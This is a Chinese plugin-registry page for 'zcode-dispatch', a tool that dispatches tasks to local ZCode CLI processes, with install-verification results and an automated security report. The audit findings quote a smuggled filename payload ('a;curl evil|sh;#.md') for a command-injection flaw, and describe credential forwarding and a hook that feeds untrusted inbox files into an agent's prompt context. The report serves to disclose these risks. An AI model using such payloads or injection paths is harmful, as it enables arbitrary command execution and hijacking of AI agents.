⚠️ 原仓库已改名:Shuffle-1992/dsh-dispatch—— 点击前往新地址;本页保留收录时的原始信息,仅作存档。
安装验证:生态插件:`dsh plugin add` 装得上,但未声明 dsh.bundle、不挂载任何插件能力——L1-L5 插件安装验证阶梯不作评级依据;安全扫描照常执行。安装验证详情 →
功能介绍AI
把任务派发给本机 ZCode CLI 无头进程,面板可监视、终止、续跑、换通道,并带单写者文件锁与用量台账。
- 把任务派发给本机 ZCode CLI 无头进程
- 面板可监视、终止、续跑、切换通道
- 单写者文件锁、用量台账与降级链
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add github:Shuffle-1992/zcode-dispatch安装方式: GitHub · 运行验证未定论 (L5 unknown) · 验证于 dsh 0.2.1-alpha.4
验证与兼容性○ 生态插件
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|
| 70cb98 | ○ | ✓ |
70cb98github✓ 运行验证通过 1○ 生态插件 12026-10-16
https://github.com/Shuffle-1992/zcode-dispatch
○dsh 0.2.1-alpha.42026-10-16生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: github · https://github.com/Shuffle-1992/zcode-dispatch(版本未标注)
ID: zcode-dispatch@70cb98@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-16 · 有效至:2026-10-23
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.22026-10-14L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: github · https://github.com/Shuffle-1992/zcode-dispatch(版本未标注)
ID: zcode-dispatch@70cb98@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-14 · 有效至:2026-10-21
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/zcode-dispatch/)``[](https://www.dsh.so/artifact/zcode-dispatch/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 高,按「取更严者」→ 总评级 高。
v0.1.0dsh 清单0.1.0git2026-10-1798b87b597804版本已更新clean · gitvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(3 条)
- 严重shellExec · shell
collab-kit/relay-once.mjs:56gatesOut = execSync(`node ${JSON.stringify(join(PROJECT, 'scripts', 'collab', 'run-gates.mjs'))} --tag ${msg.name.replace(/\.md$/, '')} ${su - 严重spawnShell · shell
collab-kit/run-gates.mjs:71const r = spawnSync(cmd, { cwd, shell: true, encoding: 'utf8' }); - 警告childProcess · code-exec
collab-kit/run-gates.mjs:71const r = spawnSync(cmd, { cwd, shell: true, encoding: 'utf8' });
展开 3 条审计发现
- high收件箱文件名未转义直接拼入 execSync 命令行(命令注入)
collab-kit/relay-once.mjs:57msg.name 来自 readdirSync(INBOX),仅按以 .md 结尾且不以 '.'/'README' 开头过滤,随后被未加引号地拼入 shell 字符串,execSync 通过 /bin/sh(Windows 下 cmd.exe)执行。若 collab/inbox-trae 中存在名为 "x & calc & y.md" 或 "a;curl evil|sh;#.md" 的文件,则每次运行 relay-once.mjs(手工执行、计划任务或对克隆的不可信项目启用 watcher)都会以当前用户身份执行任意命令。未加引号的 suiteArg.join(' ') 同理。
- low诊断脚本读取主目录配置中的 ZCode API Key 并发送到配置指定的端点
tools/probe-start-plan.mjs:14该脚本读取 ~/.zcode/v2/config.json,取出明文 provider 凭据,并作为 x-api-key 发送到 `${baseURL}/v1/models` 与 `/v1/messages`,而 baseURL 同样来自该配置。它不打印密钥值(仅打印形态/长度),也没有硬编码的第三方地址,属手工诊断而非后门;但控制该 baseURL(或写入恶意 provider 条目)的一方可获得真实凭据,且响应前 300 字符会回显到 stdout/日志。
- low钩子将收件箱中不可信文件原文注入 Agent 上下文,并可强制自动续跑
collab-kit/inject-inbox.js:46来自 collab/inbox-zcode 的最多 10 个文件(以及 state.json)被原文嵌入 SessionStart 的 additionalContext,每段 1500 字符,等同于直接写入模型提示词,且附带指示性文字要求 Agent 处理它们。trae-stop-check.mjs 同样输出 {"decision":"block","reason":<指令>} 强制多跑一轮。任何能在共享 collab/ 目录写入 .md 的一方(对端 Agent、工具或克隆仓库)都可影响助手行为;影响限于本地协作流程,不构成任意代码执行。
relay-once.mjs 将收件箱文件名未经转义拼进 shell 命令,可致命令注入;另有低风险凭据读取与上下文注入脚本。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-10-21 · 活跃度:活跃
• 仓库创建: 2026-09-30
• 星标: ★ 2 · 复刻: 0
• 健康度: 活跃 — 近 30 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
